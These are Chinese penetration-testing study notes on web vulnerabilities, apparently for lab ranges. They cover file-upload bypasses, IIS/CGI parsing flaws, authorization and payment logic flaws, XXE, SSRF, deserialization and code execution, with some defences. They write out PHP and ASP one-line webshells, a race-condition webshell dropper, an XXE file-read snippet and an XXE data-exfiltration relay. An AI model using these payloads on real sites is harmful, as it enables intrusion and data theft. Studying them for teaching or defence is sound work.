在文件夹的路径栏开启cmd命令 首先输出echo 123123123 > 1.txt (把123123123输出到1.txt文件内) echo 123123123 > caidao.exe:a.txt (把123123123写到a.txt文件内,然后将a.txt寄宿到caidao.exe文件上)  用notepad caidao.exe:a.txt 来查看文件(也可以直接在该模式下打开文件后写入信息)  
防御方法
在黑名单中加入::$DATA
绕过方法
抓包后缀加上::$DATA

上传完成利用phpinfo()查询是否上传成功
在图片的位置右键复制文件地址,然后浏览器打开  后面加?8=phpinfo() 下面的图表示成功了这里在url栏输入的时候一定要去掉::$DATA 
9.构造文件名后缀绕过
strrchr()
返回最后一个点后面的内容 例如1.php.123123输出返回的是.123123 echo strrchr("1.php.123123"".") 这里红点的意思是返回.123123 
绕过方法
burp抓包,后缀.php.p

10.双写文件后缀绕过
str_ireplace()
该函数用于替换,hello world 的world 替换成了shanghai,红圈内第一个替换成第二个  
防御方法:多次校验
把p替换成_
绕过方法
burp抓包后缀改.pphphp
审核的时候是从左选中往右,直接删除了pphphp的前面的php,删除后还是php,达到绕过的目的
白名单绕过
11. %00截断绕过
00字符 代表结束的意思 比如 1.php00.jpg 系统会自动干掉00后面的.jpg 然后上传了1.php 00截断是PHP的一个漏洞(出现在PHP5.3以下版本)
move_uploaded_file()
把文件(file,newloc)的file移动到newloc 
漏洞原因
移动重命名出了问题
绕过
burp抓包在第一行传参位置加%00
由于00截断是出现在移动重命名的时候,所以我们在路径出进行修改,这样文件传上去自动变成了kkk.php后缀 
12. %00截断绕过
绕过
首先把文件名在load那个位置改成1.phpa
然后在burp里改数据包的16进制
找到那个load/xx.phpa的位置,61代表a,直接把61改成00 
13-15图片马绕过
16.二次渲染绕过/动图gif绕过
原理
系统把你图片的所有内容重新画一遍,文件头部以外全部重新排版
绕过方法
在GIF图片的头部(第三行或第四行开始写)
二次渲染是头部不变,下面全部由变化
1.编辑GIF在软件内选择HEX模式
选择hex模式  头部以下会变异,所以改头部信息 
2.Hex模式下在第四行开始写一句话木马

3.验证是否有效
把GIF改成php  去本地进行验证 
17.条件竞争绕过
文件上传流程有两种 1.先检测后上传 2.先上传后检测 这里我们只考虑先上传后检测 如果我们传的速度够快,电脑来不及删除木马就存在了
需要怎么做
PHP上传后访问后,只要访问到了就没用了,所以对PHP内容做手脚。 我们上传的马再生成一个新的木马
需要file_put_contents()
把一个字符串写入文件
绕过方法
写一个.php文件
<?php file_put_contents('2.php','<?php @eval($_REQUEST[8])?>');?>
burp跑上传设置
1.先随便上传个1000.php文件(一句话木马在1000.php内)burp拦截后发送到跑包页面

2.抓1000.php的包再发送到burp里
3.设置burp的positions
进入burp跑包模式调节选项,选好sniper, 给filename后面的文件名加俩$$ =>1$00$0.php  另一处也随意加个$$符号 
4.设置burp里payloads选项

5.设置burp里options选项
设置线程30个 
burp跑访问设置
positions选项
随便瞎框个位置加入两个$$ 
payloads选项

options选项

开始跑包

跑不出来多跑几次
中间件解析漏洞/中间件漏洞
解析漏洞可以传图片马
知识点
适用范围
asp站点的IIS6.0版本
ASPX的站点通常会兼容ASP
aspx是asp的升级版,更安全
aspx网站传木马/aspx站点传木马
如果传不了aspx木马可以试试传asp木马
中间件
文件处理工作原理
通过文件后缀来判断怎么处理
.php(php代码处理)
.jpg(图片处理)
解析漏洞
概述
用一些特殊的方法可以写一些特殊的后缀
IIS 6.0解析漏洞
IIS
中间件(web容器)
脚本语言是ASP
一句话木马<%eval request("a")%>
菜刀连接
解析特点
被当做asp执行
asp;asa;cer都会
asp在黑名单
可以用asa;cer格式上传
脚本语言是asp
ASP解析漏洞绕过方法
第二十题 IIS6.0解析漏洞
上传要求
绕过步骤
抓包上传
1.整个jpg后缀
2.使用burp抓包
3.改成.asa然后上传
4.复制文件地址然后去url栏访问一下
5.上传后web页面的样子
乱码说明被解析了,表明我们传成功了
查看是否上传成功
6.连接菜刀/冰蝎
7.成功链接进入内部数据库
第二十一题 IIS6.0解析漏洞
上传要求
绕过
绕过原理
后缀名1.asp;1.jpg
由于白名单机制,他就会去读后面的1.jpg也就是允许上传的部分,我们用;隔开了,所以白名单会去选择后面的
正常IIS读取文件的时候1.asp;1.jpg后缀格式的时候,IIS读取到1.asp不会往下读。但是由于是白名单机制,只允许上传固定的格式,所以我们把允许上传1.jpg格式写在后面,白名单机制自动绕过了前面的asp木马去匹配后面的jpg格式,然后上传后IIS会按照从前到后的顺序读取,直接把前面的asp运行,这样服务器就上传木马成功了
与00截断类似
绕过步骤
直接上传
1.建立一个新的带;的文件名
2.直接点击上传(不需要抓包)
3.复制文件地址然后去url栏访问一下
4.上传后web显示内容是乱码
乱码说明被解析了,表明我们传成功了
查看是否能连接菜刀/冰蝎
5.连接菜刀/冰蝎
6.成功链接进入内部数据库
第二十二题asp文件夹 IIS6.0解析漏洞
绕过原理
a.asp/123.jpg
a.asp是指一个后缀是a.asp的文件夹然后IIS上传的时候会看到asp这个文件夹默认将文件夹内的一切来当asp执行,及时传了图片也是当成了asp执行了
绕过方法
先建立一个a.asp后缀的文件夹
在a.asp文件夹放入jpg图片马
直接去上传
验证是否成功
菜刀连接然后进去找flag
PHP CGI解析漏洞
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设 SCRIPT_FILENAME 。 当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置 “phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME(绝对路径)传递给PHP CGI,如果开启了 cgi.fix_pathinfo=1选项(这个默认值就是1,所以没有设置过就是开启),那么就会触发在PHP中的如下逻辑: PHP会认为SCRIPT_FILENAME(绝对路径)是phpinfo.jpg,而1.php是PATH_INFO,所以就会phpinfo.jpg 作为PHP文件来解析了. 也是一个逻辑问题,所以说我们只需要在正常的.jpg后面加/.php就可以成功的绕过解析
如何找到漏洞
在页面找张照片右键查看
在url栏最后输入/.php
乱码说明有漏洞
not found说明不存在漏洞
出现版本
CGI解析漏洞在IIS7.5、IIS7.0中也存在,我实战遇到过的大部分都是IIS7.X比较多
注意事项*
文件上传
意义
文件上传属于获取Getshell的一种方法,属于最常规获取webshell的方法,所以寻找上传点比进入后台还重要,如果前台上传点你直接上传上去一个一句话木马,整个站你就拿下来了。
信息搜集什么
当然需要信息收集,信息收集中对web容器和用的动态语言和动态语言版本对文件上传非常有用,一个ASP的站,你传一个PHP的马,如果说没有特殊设置,那么这个马是不可能执行(但是有些情况下,他设置了解析,也是可以解析的)然后web容器也会存在一些解析漏洞,如iis6.0畸形解析、CGI解析漏洞
是否只检查后缀
有些文件上传还会去检测文件内容
只能上传图片有用吗?
如果网站存在本地包含或者解析漏洞,你传上去的图片马就可以大放光彩了。
没有源码怎么测试漏洞
先传一个正常图片,然后看看这个地方上传是否有用,然后再传一个jpg后缀的图片马,看看对内容会不会检测,然后再尝试改包,看看是不是前端验证,然后尝试下看看是黑名单还是白名单机制,然后最后尝试条件竞争。
黑白名单哪个安全
白名单
windows
::$DATA
windows独有文件格式
与Linux大小写差别/判断windows还是Linux
Linux并不会忽略大小写,比如访问一个网站,将URL里面文件夹得名字改一个小写字母为大写,如果正常访问那一般是windows,如果访问出现问题一般是linux(快速检测不一定准)
.htaccess配置文件绕过条件
伪静态的网站都会开启,所以遇到伪静态可以直接尝试,不过没用遇到也是可以尝试的,也许管理员开启了妮~多尝试
逻辑漏洞
逻辑是思维规律 web应用程序中的逻辑漏洞各不相同,有的很明显,有的很微妙。与SQL注入和跨站不同,逻辑漏洞没有共有的“签名”,定义特性是指应用程序执行的逻辑存在某种缺陷。大部分逻辑缺陷表现为开发者在思考过程中做出的特殊假设存在明显或隐含的错误,通俗点来说,有的开发者会这样认为,如果发生A,就会出现B,因此我执行C。没有考虑如果发生X会怎么样,这种错误的假设会造成许多安全漏洞。逻辑漏洞是多样性的,挖掘它们需要从不同的角度思考问题,设法了解设计者和开发者做出的各种假设,然后考虑如何攻击。
平行越权与垂直越权
知识点
越权漏洞
什么是越权
越过权限,你可以看到、修改、操作其它权限的内容
概念
由于服务器对客户提出的数据操作请求过分信任,忽略了对该用户操作权限的判定,导致修改相关数就可以拥有了其他账户的增、删、查、改功能
平行越权与垂直越权、交叉越权
平行越权
A账号去B账号的内容
AB权限相同
垂直越权
向上越权
低权限用户可以操作高权限的东西
算漏洞
向下越权
高权限用户操作低权限内容
比如管理员账号可以修改用户的密码
大多数网站不认这个漏洞
垂直越权存在的地方一般都存在交叉越权
交叉越权
既可平行又可垂直
未授权访问
直接访问就可以
常见的传参越权
get
修改get传参
post
修改post传参
cookie
修改cookie
如何判断
cookie是随机的,如果很规则很大程度说明存在,可以进行更改然后测试
漏洞存在的位置
浏览器、APP、应用程序中
怎么判定存在越权漏洞
只要能修改传参内的信息就算
危害
信息泄露
操纵管理员页面
靶场
在各功能栏进行抓包,修改其中的数值username id 等等信息一个一个改
越权和提权的区别
越权,是指因为逻辑漏洞而造成的权限控制不当。
提权,一般指的是拿到SHELL之后在服务器上面权限不够。
支付漏洞
知识点
一、快捷支付原理
快捷支付两种模式
浏览器跳转(不安全)
基于用户访问的浏览器,如果用户在银行页面支付成功后,直接关闭了页面,并未等待银行跳转到支付结果页面,那么商户网站就收不到支付结果的通知,导致支付结果难以处理。而且浏览器端数据很容易被篡改而降低安全性
操作上可以利用burp抓包改包
服务器端异步通知(目前主流)
•该方式是支付公司服务器后台直接向用户指定的异步通知URL发送参数,采用POST或GET的方式。商户网站接收异部参数的URL对应的程序中,要对支付公司返回的支付结果进行签名验证,成功后进行支付逻辑处理,如验证金额、订单信息是否与发起支付时一致,验证正常则对订单进行状态处理或为用户进行网站内入账等
安全性很高,不能抓包改包
通常是在下单的时候可能会出现漏洞
二、常见支付漏洞
支付前修改
修改订单价格/积分购买
订单生成的时候进行抓包然后把价格改低,然后再进行支付
修改订单状态漏洞
找一个便宜的商品,burp抓包修改orderid内的信息,把昂贵的东西的orderid填写在便宜的orderid内,就做到了用低价白嫖
修改订单数量漏洞
A商品单价88元*个数-1+B商品单价44元*个数2=总价0元
比如成长票88元一张*-1是-88元 儿童票44元一张*2 是88元 两张票同时结账的时候就是0元了
修改附属值-优惠劵漏洞
消费满1000元可以使用100元优惠券,然后再抓包把优惠劵改成10张白嫖商品
越权支付漏洞
自己的user=id(123)修改成隔壁老王的id(456),让老王替我买单
现在都用cookie,这种概率越权概率比较低
无限试用漏洞
试用的参数是2,正常购买的参数为1,那么将试用和购买进行了修改。
三、支付漏洞如何挖掘
1.找到关键的数据包
可能一个支付操作有三四个数据包,我们要对数据包进行挑选。
2.数据包分析
支付数据包中会包含很多的敏感信息(账号,金额,余额,优惠),要尝试对数据包中的各个参数进行分析。
3.出其不意
多去想想开发这不关心的地方
4.PC、WEB,APP都试试
四、防御方法
后端检查每一项值,包括支付状态
校验价格、数量参数、比如产品数量只能为正整数,并限制购买数量
与第三方支付平台检查,实际支付的金额是否与订单金额一致。
支付参数进行MD5加密、解密、数字签名及验证,这个可以有效的避免数据修改,重放攻击中的各种问题
金额超过阈(yù)值,进行人工审核
最小值到最大值的一个范围
XXE实体注入
XML 外部实体注入简称XXE有了XML实体,关键字SYSTEM会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。
知识点
什么是XXE
就是XML实体注入
用户输入的数据当做XML代码执行
XXE产生
因功能性而产生
XXE默认三个文件
原理
通过服务器所用的前端语言进行请求,请求到的数据被保留在我们所搭建的文件内进行存储,这样就能得到网站的相关信息了
判断是否存在XXE
源码中存在simplexml_load_string()就说明是存在XXE的
XML
作用
就是存储数据的
XML构成
和HTML类似的标记语言
XML用来传输数据
XML是没有被预定义的,需要自己定义
对于XML而言任何的标签没有任何的意义
预定义
预先定义好的
比如$_REQUEST可以接收GET/POST传参就是由PHP语言编写的时候决定好的
可以被动态语言操作
动态语言可以去XML存入数据、提取数据
特点
XML仅仅是纯文本,它不会做任何的事情
因为它只是存储数据,不会有任何的意义
XML可以自己发明标签(允许定义自己的标签和文档结构)
XML的规则
XML代码由三部分构成
XML声明
DTD部分(定义变量部分)
可以理解为一个变量,比如量大还重复的东西可以用了DTD可以减少XML的体积,可以写个A写个B瞬间去调用,可以去外部读取数据
XML部分(存储部分)
base64编码
将符号进行编码,防止特殊符号出现的时候会被系统误判
XML实体注入流程
发起请求
SYSTEM可以发起HTTP请求
拼接
先获取我们要拿的数据(maoshe的数据)
拿到的数据拼接到htpp://www.xxx.com/1.php?id=maoshe的数据
记录
在建立的<?php file _put_contents("3.txt",$_GET["id"],FILE_APPEND);?>会自动记录数据,id传过来的数据就是这个maoshe
执行代码
htpp://www.xxx.com/1.php?id=
登录成功后要验证码
很大程度验证码就在数据库内或者配置文件内
函数/代码/协议
PHP函数
simplexml_load_string()
作用
将XML转化为对象
simplexml_load_string(data,classname,options,ns,is,prefix)
data参数(必需。规定良好格式的XML字符串)
data是一种特殊的数据格式
里面可能是一个数据/一堆数据
classname参数(可选。规定新对象的 class)
是一个类
实现功能的一串代码
比如给他一个东西他给,他会把结果返还给你
options参数
ns参数
is参数
prefix参数
simplexml_load_string($test,'SimpleXMLElement',LIBXML_NOENT)
$_test要放入XML的内容是什么
SimpleXMLElement和LIBXML_NOENT
是XXE注入的固定用法
SimpleXMLElement
SimpleXML 函数允许您把 XML 转换为对象。 通过普通的属性选择器或数组迭代器,可以处理这个对象,就像处理任何其他对象一样。
file_put_contents()
写入文件
file_get_contents()
读取文件
协议
php://input伪协议
XML代码解析
DTD部分
system作用
会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容
<?php $test = '<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///c:/1.txt">]><scan>&test;</scan>'; $obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT); print_r($obj); ?>
$test是指要执行的XML代码
<!ENTITY test SYSTEM"">是要执行的XML代码,中间的test就是一个变量
SimpleXMLElement
&test
&是调用的意思,一般调用都用这个符号,这里指调用test
$test与&test区别
$test是指要执行的XML代码
&是调用的意思,一般调用都用这个符号,这里指调用test
XXE扩展
<!ENTITY 实体名称 SYSTEM "URI/URL">
SYSTEM功能
可以做外部的获取,打伤害的主要函数
在不同语言中支持的各种协议
libxml2
file协议
读取文件
http协议
访问网址
ftp协议
访问 FTP
PHP
file协议
http协议
ftp协议
PHP伪协议
compress.zlib协议
压缩流
compress.bzip2协议
压缩流
data协议
数据
glob协议
查找匹配的文件格式路径
phar协议
Java
file协议
http协议
https协议
ftp协议
jar协议
netdoc协议
mailto协议
gopher协议
.NET
file协议
http协议
https协议
ftp协议
渗透知识
XML注入页面没有显示
原因
将XML转为对象,为什么我要输出内容,转换就转化了,我直接用就行
解决方法
和盲注的doslog注入一样,将数据外带出来
子主题
渗透需要准备
需要搭建炮台
构成
1.xml
system请求http协议请求2.php,说明会给2.php传参数
2.php
将获取到的 get传参 名为id的值保存到3.txt
3.txt
3.txt就是保存数据用的
注意事项
搭建的位置
搭建在攻击者自己的本地,和xss的平台类似
(直接搭建在phpstudy的目录下面,然后里面有)
炮台必须放在公网ip,因为目标无法访问攻击者的内网资源的
官方提供XXE炮台
炮台用途
当做信息接收平台
base64编码
将符号进行编码,防止特殊符号出现URL的时候会被系统误判
在线数据库管理工具
phpadmin
adminer
靶场
做XXE实体注入要讲get传参变成post才能看见
get传参变post传参
用burp
注意事项*
注入原理
原本xml本身是没有任何作用,但是在PHP里有一个函数叫做simplexml_load_string,他的作用是把xml转化为对象。【注:其他语言也有类似函数】
XXE
什么是XXE
简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
如何寻找XXE
遇到传参的地方出现了XML代码格式的东西,不妨传参一些XML代码去尝试看看传参后是否有报错,页面是否显示了实体中的东西
XXE的防御
1. 使用开发语言提供的禁用外部实体的方法
2. 过滤用户提交的XML数据
炮台在XXE中的作用
很多时候语言解析执行了XML后并不会给你输出,我们这个是时候可以使用一个类似与于接受的平台,然后去平台查看就可以获取到数据。
XML
什么是XML
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
XML特点
XML仅仅是纯文本,他不会做任何事情。 XML可以自己发明标签(允许定义自己的标签和文档结构) XML 无所不在。XML 是各种应用程序之间进行数据传输的最常用的工具,并且在信息存储和描述领域变得越来越流行
XML外部实体攻击又是什么
XML与html区别
XML被设计用来传输和存储数据。
HTML被设计用来显示数据。
base64
为了防止一些特殊字符对我们产生影响
DTD
为什么是用DTD
通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。 通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。 而您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。 您还可以使用 DTD 来验证您自身的数据。
DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
1. 内部实体声明:<!ENTITY 实体名称 "实体的值"> ex:<!ENTITY eviltest "eviltest">
2. 外部实体声明:<!ENTITY 实体名称 SYSTEM "URI">
如何构造外部实体注入
1. 直接通过DTD外部实体声明
2. 通过DTD文档引入外部DTD文档,再引入外部实体声明
3. 通过DTD外部实体声明引入外部实体声明
App渗透测试
知识点
app主要走http协议
app和web访问的区别
相同点:
app和web登录访问可能是同一台服务器,WEB访问走得浏览器A页面,APP访问走浏览器B页面,但是都是访问同一个网站
协议
都是用http或https
app渗透核心
抓包
安卓模拟器+抓包
burp
需要设置内网地址
主要测试的是功能,web渗透测试的是安全
发送验证码没抓到包可能是双向校验或证书的问题
防御方法
加密
破防加密方法就是解密
通用加密
混合加密
一点点破
独特替换
打乱顺序123
双向校验
抓不到数据包
SSRF服务器端请求伪造漏洞
知识点
原理
某黑客用存在ssrf的C网站攻击B网站的内网
核心
直接攻击目标网站的内网,存在SSRF漏洞的网站概率偏低
出现SSRF的特征
传参出现
http://及任何其它协议都可以试试ssrf
出现a.txt或什么b.php以及x.后缀等
baidu.com/?id=1.html
出现文件读取、文件包含、文件下载filename=某文件
SSRF危害
扫描内部网络(FingerPrint)
向内部任意主机的任意端口发送精心构造的的数据包(payload)
DOS(请求大文件,始终保持连接Keep-Alive Always)
暴力枚举(user/dirs 就是查找/files)
作为跳板、攻击内网的网站、可以攻击内网的服务(可以拿内网的服务器)
攻击特点
第一点:进入了内网,绕过了很多防火墙机制,因为防火墙大部分对外不对内 第二点:可以去访问存在漏洞机器上面的内部开放端口。可以触发漏洞(redis之类的) 第三点:可以通过file协议读取敏感信息
SSRF防御
1、正则匹配法
内网IP防御
http://后面不允许跟内网IP
统一错误信息 限制请求的端口 过滤返回的信息 黑名单内网ip 禁用其他协议,允许http,https
禁用函数( file_get_contents()、fsockopen()、curl_exec()三个函数(PHP)防止SSRF) 限制内网Ip传参 开启内部访问也需要身份认证
传参方式
除了在url栏里的get利用方式外,ssrf还可以用post的方式,比如post提交xml(该处使用xml传输信息)具体还是要看接受方式,如果是$_REQUEST来获取那么POST也没啥问题
攻击手段
访问存在SSRF的网站/搭建建网站去攻击
判断是否有SSRF
转码服务,在线翻译,通过URL地址加载或下载图片,通过url地址分享网页内容
协议攻击
http://协议
本地文件读取协议
可以通过该协议直接读取文件内部信息,可能得到管理员账号密码
file:///协议
使用方法
?url=file:///C:\web\a\config\config.php
可用来探测端口
dict://字典协议
使用方法
dict://IP:常用端口号
gopher协议
构建数据包的发送模拟Redis缓存数据库
使用方法
做一个Wireshark抓一个数据包,redis写一句话木马,抓一个完整的tcp数据包流,将数据包流做一个gopher,通过redis写一个webshell然后和连接菜刀/冰蝎/蚁剑
内房防御ip防御绕过
任意网址@内网地止+端口
dnslog注入
内网地址:端口号/?url=http://xxx.dnslog.cn:端口号
ssrf支持的协议
dict://
file://
sftp://
ldap://
gopher://
ftp://
http://
用已知漏洞组件不修复的原因
1.当初不知道该版本的系统或者中间件存在漏洞
2.爆发漏洞管理员没注意
3.修复漏洞会对网站性能或使用体验造成严重影响比如st2-045,修漏洞要升级版本,升级版本影响业务
4.个人认知内网本身不该会黑客访问到
Redis
是一个缓存数据库(默认情况下没有密码),但是只有本机能访问
需要准备
白嫖域名测试访问
xip.io
http://56.63.200.79.xip.io
想测试访问哪个内网地址,但是自己没有肉鸡或可控制服务器的话就需要可以在目标内网ip后面加.xip.io
网站dnslog.cn
用到的工具,Gopherus-master
靶场
dict://IP地址:端口
打开伟大的burp
burp跑包
查看开放的端口
查到81端口开的是http协议
访问81端口
查看源码得出flag
注意事项
SSRF与CSRF区别
SSRF
控制目标服务器发起网络请求攻击目标站点
CSRF
控制受害者的浏览器发起网络请求,从而盗取cookie
代码审计
查看开发写的代码,找出漏洞
代码审计流派
1.通读全文【要审计的代码全文】
建议看一遍查一遍
3.危险函数定位法【目前主流】
比如mysqli_query
3.动态追踪
你可以对代码执行下断点,主要依靠phpstrom+Xdebug[安装很麻烦]
需要准备
php代码审计工具
Seay源代码审计系统
app使用
php代码审计
seay源代码审计系统
php代码审计工具
使用流程
新建项目
加载我们要审计的代码 选择路径  
首先看index.php文件
确定自定义和非自定义
看函数的时候先确定是自定义函数还是php系统函数
如果能定位到就说明是自建函数,如果定位不到说明是PHP原有函数 原有函数去百度查就可以了  这是自定义函数cheakip  当你使用自定义函数时就会自动执行下面的代码 
如何找漏洞
点击 自动审计
 
去查看危险函数
通过正则查找漏洞
添加相对应的条件查找 
在下面规则里如果要查$$就要用\$\$,因为正则里的美元符是
自动审计原理
依靠正则表达式
如何判断语句在哪里执行的
在seay源代码审计系统的审计页面添加
die (phpinfo)); 判断是否能向下执行  出现该页面说明这段是执行的 
如何判断语句是否成立
在文件夹内自己建一个,1.php的文件
把测试语句放到php文件内,然后在自己的电脑的浏览器上输入ip地址和文件名 
变量覆盖漏洞
漏洞成因
函数使用不当导致的,$$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_request_variables()使用不当,开启了全局变量注册等。
特性
特点
隐秘性强,不代码审计基本找不到该漏洞
如何寻找变量覆盖漏洞
经常导致变量覆盖漏洞场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当import_request_variables()使用不当,开启了全局变量注册等。
危害
变量覆盖漏洞有的时候可以直接让我们获取Webshell,拿到服务器的权限
变量覆盖的漏洞危害主要还是要看代码具体的流程,如果可覆盖掉的变量在后面会进行代码执行,那么他的危害就是代码执行。具体还是要看后面代码具体的作用之类的。代码审计里可能会发现Session覆盖,强行给Seesion赋值。然后拥有管理员权限
知识点
变量
什么是变量
由于计算机运行速度快,忘记的也快所以要用到存储功能,小标签就像鱼给盒子们贴上各自的标签比如箱子里(起子,螺丝刀) $a=1变量a就是小标签,1就是盒子里真正存放的东西
什么是变量覆盖
比如在php代码中$a=1$a=2最后输出的是2就是因为后面的$a=2覆盖掉了$a=1所以这就是变量覆盖
函数/代码
php函数
引起变量覆盖的php函数
extract()
定义
extract() 函数从数组中将变量导入到当前的符号表。
用法
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。该函数返回成功设置的变量数目。
parse_str()
定义
parse_str()作用就是解析字符串并注册成变量,在注册变量之前不会验证当前变量是否存在,所以直接覆盖掉已有变量
注释
注释:如果未设置array参数,由该函数设置的变量将覆盖已存在的同名变量。 注释: php.ini文件中的magic_quotes_gpc设置影响该函数的输出。如果已启用,那么在parse_str()解析之前,变量会被addlashes()转换。
import_request_variables()
import_request_variables—将 GET/POST/Cookie 变量导入到全局作用域中 import_request_variables()函数就是把GET、POST、COOKIE的参数注册成变量,用在register_globals被禁止的时候
addslashes()函数
定义
预定义字符在' " \前面加"\"(对于 变量覆盖没影响)
作用
防止SQL注入,功能与魔术引号类似
php函数的定义
$$/$$$
定义
$$这种写法称为可变变量,一个可变变量获取了一个普通变量的值作为这个可变变量的变量名
die()和exit()
作用
这两个函数都是死亡函数,阻断代码继续向下执行
正常输出1,2 但是由于使用了该函数,所以执行到1下面就不会去执行了  exit和die的括号内可以添加相关信息 
_cookie
超全局变量
定义:获取cookie传参
_post
超全局变量
定义:获取post传参
_get
超全局变量
定义:获取get传参
isset()
检测括号内是否存在
trim()
首尾去空
foreach
指 宿主的便利
把括号内的值依次放进去的意思
 先把cookie放到request,然后是是post 然后是get 
$_key=>$_value(键值分离)
将宿主的键和值分开来 比如 "a"=>"cat" 就变成了$_key='a';$_value='cat'
require_once()
只文件包含,就是引用某些
代码解析
1
unserialize反序列化漏洞
知识点
反序列化漏洞如何产生
class类=>游戏
特殊的函数集合和变量
序列化=>存档
将当前的状态存储下来,然后变成字符串 序列化与类是捆绑的
所有变量都可以被序列化
反序列化=>读档
读取内容转化为状态
代码与函数(类)执行区别
代码是从上而下执行
函数和类只有调用才会执行
攻击流程
序列化
我们写反序列化
子主题
课外知识
session和cookie
cookie和Sesion是捆绑的
进入大楼需要门禁刷卡系统,刷门禁卡(cookie)以后还要前台和总台(session)去确认你的真实身份信息是否能够对的上,这样才能进去
session
你的身份认证
session类似总台那边所对应的权限,session代表权限
cookie
cookie代表身份,相当于门禁卡,身份有权限之分,这个权限是session
偷了管理员的cookie对应的就是管理员的session,所以会有效果,如果session失效cookie肯定也就没有任何效果了
函数/代码
PHP函数
show_source()函数
将某一个文件输出出来
(_FILE_)
当前文件绝对路径
show_source(_FILE_)
指显示当前文件的源码,并且文件中的内容还会被高亮显示
class 类
后来是自己给类起的名字 
建立一个类
跟在class后面的就是新建立的类的名字
var
是一种类型
new
指调用一个新的类
new XXXX初始化了一个类,初始化的类会变成一个对象(对象是一种数据格式)
serialiaze()序列化函数
serialiaze($class1)将初始化的类内容进行序列化
public function 名称()
建立了函数a 
自定义建立一个函数
public
Public是声明公有变量、类或函数的前缀,此类声明后的对象是公有变量,而没有Public则是Private私有变量。 所谓公有变量,就是指在此类的外面也可以调用这个对象,可以当作接口用,对私有则是指它所声明的对象只能在本类中使用,而在类外调用则程序会报错。 所有类的构造函数都是public域的,如果你的构造函数声明为private,则程序也会报错,这是因为了构造函数是用通过外部执行来初化对象的。
function
是功能
$this->source

是一个变量,由外部的值可以传入到里面(不需要独立设置变量)
var_dump()函数
用于输出变量的相关信息,包括显示关于一个或多个表达式的结构信息,表达式的类型与值。数组将递归归零值,通过缩进显示其结构
eval()任意代码执行
$_XXXXX
有可能是系统预定义超全局变量
=
赋值
==
比较
1=1
===
比较类型
1和'1'
1是数字型'1'是字符串型
魔术方法
两个下划线基本都是魔术方法 
定义
方法是类里面特有的,其实就是类里面的函数
分类
__construct() 建造
对象创建的时候会自动调用
__
两个下划线是动作发生后会自动调用
__destruct() 毁坏
对象销毁的时候会自动调用
__wakeup() 唤醒
在使用unserialize函数的时候会被触发
__toString() 一串
对象被当作字符串输出的时候会自动触发
代码
序列化代码
class类=>类似函数的集合(可能也有变量)
show_source 将某一个文件输出出来 (_FILE_) 当前文件绝对路径 show_source(_FILE_)指显示当前文件的源码,并且文件中的内容还会被高亮显示 class是类,chybeta是自定义的类的名字 var是一种类型 new 指调用一个新的类 new chybeta初始化了一个类,初始化的类会变成一个对象(对象是一种数据格式) serialiaze()序列化函数 serialiaze($class1)将初始化的类内容进行序列化  这是转化为字符串的内容 O(object)是指后面的东西都是对象 7是指后面的chybeta总共7个字母的长度 chybeta是指一个类的名字 1是指‘一个变量0’ s:4 s指的是字符串 4指的是test长度为4个字母 s:3 s指的是字符串 3指的是123唱的为3个  a:1:{i:0;s:1:"a";} i键为0 值为a 
反序列化代码
clss类
 这个对象要放到chybeta里面用  里面放一个变量  这个变量叫test,里面值有4个长度  test里面的值叫做124,长度为3  对她们进行了反序列化  输出反序列化的值 
反序列化漏洞产生原因的代码
自定义了一个变量a  eval是代码的执行  执行了一个任意代码,($this->source)里的东西会当任意代码执行    调用a这个函数 
传木马

靶场详解
先看源代码

在当前目录的./flag.php
./是指当前目录
寻找反序列化的值
 在浏览器读取当前文件 
代码执行漏洞
知识点
课内
代码执行漏洞
代码执行漏洞原理
用户输入的数据被当做后端代码进行执行
定义
函数的单行执行/多行执行
单行执行
多行执行
比如eval()的括号内执行多条语句

RCE(远程命令或代码执行)
渗透领域只要最终情况可以实现执行命令或者代码都属于rce
漏洞种类
代码执行
文件包含
反序列化
命令执行
getshell
PHP造成代码执行函数的作用
1、以后可以代码审计,锁定这些危险函数找漏洞
2、如果你们的一句话木马被查杀了或者过滤了,可以用其他函数代替
比如<?php eval($_REQUEST[8])?;>
PHP中可以代码执行的函数
这些函数都可以去替代eval函数进行一句话木马 验证是否上传成功也是在url栏输入phpinfo()
单行执行
eval($a)
是代码执行用的最多的可以单行执行可以多行执行
eval()括号内的都是当代码执行
assert($a)
特点:只能单行执行
多行执行
eval('var_dump(8);phpinfo();')

assert()
单行执行了一个文件,php文件内写多少都无所谓都会照着去执行,单行时文件,但是文件内不受单行多行的限制
通过写文件file_put_contents('2.php','<?php var_dump(8);phpinfo();?>')
 生成2.php  访问2.php, 
preg_replace()正则替换函数
preg_replace(替换的正则表达式。替换成什么,要被替换的字符串)
<?php echo preg_replace('/a/e',$_GET[8],'bc');?>
/a/修饰符是/e的时候,GET[8]的位置写上东西会被当做代码执行
相当于变成了
<?php echo preg_replace('/a/',eval($_GET[8]),'bc');?>
渗透条件
preg_replace(替换的正则表达式。替换成什么,要被替换的字符串)
红色部分可控制就能满足代码的执行
防御方法进行/e的过滤
create_function() 匿名函数
函数解析
create建立,function是函数的意思
可以快速建立自定义函数
渗透条件
